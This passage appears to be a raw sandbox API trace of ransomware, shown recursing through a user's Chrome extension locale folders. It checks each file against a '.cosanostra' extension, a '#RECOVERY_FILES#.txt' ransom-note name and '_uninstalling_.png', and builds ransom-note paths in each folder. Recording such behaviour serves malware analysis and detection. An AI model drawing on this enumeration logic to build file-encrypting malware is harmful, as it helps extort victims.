pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\.") returned 152 [0087.435] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.435] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.436] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\..") returned 153 [0087.436] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.436] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.436] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.436] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json") returned 164 [0087.436] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.436] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.436] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.436] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json") returned 164 [0087.436] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\#RECOVERY_FILES#.txt") returned 171 [0087.436] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\#RECOVERY_FILES#.txt") returned 171 [0087.436] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt") returned 150 [0087.436] lstrcmpW (lpString1="pt", lpString2=".") returned 1 [0087.436] lstrcmpW (lpString1="pt", lpString2="..") returned 1 [0087.436] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*") returned 152 [0087.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.436] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\.") returned 152 [0087.436] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.436] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.436] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\..") returned 153 [0087.436] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.436] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.436] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.436] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json") returned 164 [0087.436] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.436] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.437] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.437] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json") returned 164 [0087.437] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\#RECOVERY_FILES#.txt") returned 171 [0087.437] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\#RECOVERY_FILES#.txt") returned 171 [0087.437] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR") returned 153 [0087.437] lstrcmpW (lpString1="pt_BR", lpString2=".") returned 1 [0087.437] lstrcmpW (lpString1="pt_BR", lpString2="..") returned 1 [0087.437] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*") returned 155 [0087.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.437] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\.") returned 155 [0087.437] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.437] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.437] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\..") returned 156 [0087.437] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.437] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.438] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.438] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json") returned 167 [0087.438] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.438] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.438] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.438] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json") returned 167 [0087.438] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\#RECOVERY_FILES#.txt") returned 174 [0087.438] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\#RECOVERY_FILES#.txt") returned 174 [0087.438] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT") returned 153 [0087.438] lstrcmpW (lpString1="pt_PT", lpString2=".") returned 1 [0087.438] lstrcmpW (lpString1="pt_PT", lpString2="..") returned 1 [0087.438] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*") returned 155 [0087.438] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.438] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\.") returned 155 [0087.438] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.438] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.438] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\..") returned 156 [0087.438] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.438] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.438] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.438] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json") returned 167 [0087.438] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.438] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.438] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.438] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json") returned 167 [0087.438] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\#RECOVERY_FILES#.txt") returned 174 [0087.438] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\#RECOVERY_FILES#.txt") returned 174 [0087.438] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro") returned 150 [0087.439] lstrcmpW (lpString1="ro", lpString2=".") returned 1 [0087.439] lstrcmpW (lpString1="ro", lpString2="..") returned 1 [0087.439] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*") returned 152 [0087.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.440] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\.") returned 152 [0087.440] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.440] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.440] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\..") returned 153 [0087.440] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.440] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.440] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.440] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json") returned 164 [0087.440] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.440] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.440] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.440] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json") returned 164 [0087.440] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\#RECOVERY_FILES#.txt") returned 171 [0087.440] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\#RECOVERY_FILES#.txt") returned 171 [0087.440] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru") returned 150 [0087.440] lstrcmpW (lpString1="ru", lpString2=".") returned 1 [0087.440] lstrcmpW (lpString1="ru", lpString2="..") returned 1 [0087.441] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*") returned 152 [0087.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.441] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\.") returned 152 [0087.441] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.441] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.441] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\..") returned 153 [0087.441] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.441] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.441] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.441] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json") returned 164 [0087.441] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.441] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.441] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.441] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json") returned 164 [0087.441] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\#RECOVERY_FILES#.txt") returned 171 [0087.441] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\#RECOVERY_FILES#.txt") returned 171 [0087.441] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk") returned 150 [0087.441] lstrcmpW (lpString1="sk", lpString2=".") returned 1 [0087.441] lstrcmpW (lpString1="sk", lpString2="..") returned 1 [0087.441] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*") returned 152 [0087.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.442] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\.") returned 152 [0087.442] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.442] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.442] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\..") returned 153 [0087.442] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.442] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.442] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.442] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json") returned 164 [0087.442] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.442] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.442] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.442] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json") returned 164 [0087.442] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\#RECOVERY_FILES#.txt") returned 171 [0087.442] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\#RECOVERY_FILES#.txt") returned 171 [0087.442] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl") returned 150 [0087.442] lstrcmpW (lpString1="sl", lpString2=".") returned 1 [0087.443] lstrcmpW (lpString1="sl", lpString2="..") returned 1 [0087.443] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*") returned 152 [0087.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.443] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\.") returned 152 [0087.443] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.443] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.443] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\..") returned 153 [0087.443] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.443] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.443] FindNextFileW 